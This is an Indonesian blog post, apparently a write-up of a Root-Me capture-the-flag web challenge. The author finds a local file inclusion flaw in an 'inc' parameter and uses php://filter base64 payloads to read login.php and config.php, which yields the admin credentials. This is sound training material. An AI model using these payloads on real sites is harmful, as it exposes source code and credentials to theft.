pada web terdapat parameter inc yang digunakan untuk memanggil file, kemungkin kodenya seperti ini:
include($_GET["inc"]);jadi saya coba mengganti value inc dengan / slash
inc=/ternyata muncul pesan error:
Warning: include(): open_basedir restriction in effect. File(/) is not within the allowed path(s): (/challenge/web-serveur/ch12:/tmp) in /challenge/web-serveur/ch12/ch12.php on line 26
Warning: include(/): failed to open stream: Operation not permitted in /challenge/web-serveur/ch12/ch12.php on line 26
Warning: include(): Failed opening '/' for inclusion (include_path='.:/usr/share/php') in /challenge/web-serveur/ch12/ch12.php on line 26sudah dipastikan ini vuln LFI, selanjutnya menggunakan payload php://filter seperti ini:
inc=php://filter/convert.base64-encode/resource=login.phpsetelah itu enter maka akan muncul sebuah enkripsi base64, selanjutnya saya decode code tersebut, hasilnya seperti:
setelah menganalisis kode diatas, saya akan mencari value dari variable $username dan $password, saya yakin itu terdapat di config.php<?phpinclude("config.php");if ( isset($_POST["username"]) && isset($_POST["password"]) ){if ($_POST["username"]==$username && $_POST["password"]==$password){print("<h2>Welcome back !</h2>");print("To validate the challenge use this password<br/><br/>");} else {print("<h3>Error : no such user/password</h2><br />");}} else {
inc=php://filter/convert.base64-encode/resource=config.php
lalu enter, muncul kode enkripsi base64, saya decode, hasilnya:
yohoho user dan password sudah ditangan, selanjutnya login, makan muncul pesan saya bisa menggunakan password diatas untuk validate alias password tersebut adalah flagnya.<?php$username="admin";$password="Sensor silahkan dicoba :)";?>
referensi:
https://highon.coffee/blog/lfi-cheat-sheet/#php-wrapper-phpfilter
http://repository.root-me.org/Programmation/PHP/EN%20-%20Using%20and%20understanding%20PHP%20streams%20and%20filters.pdf
No comments:
Post a Comment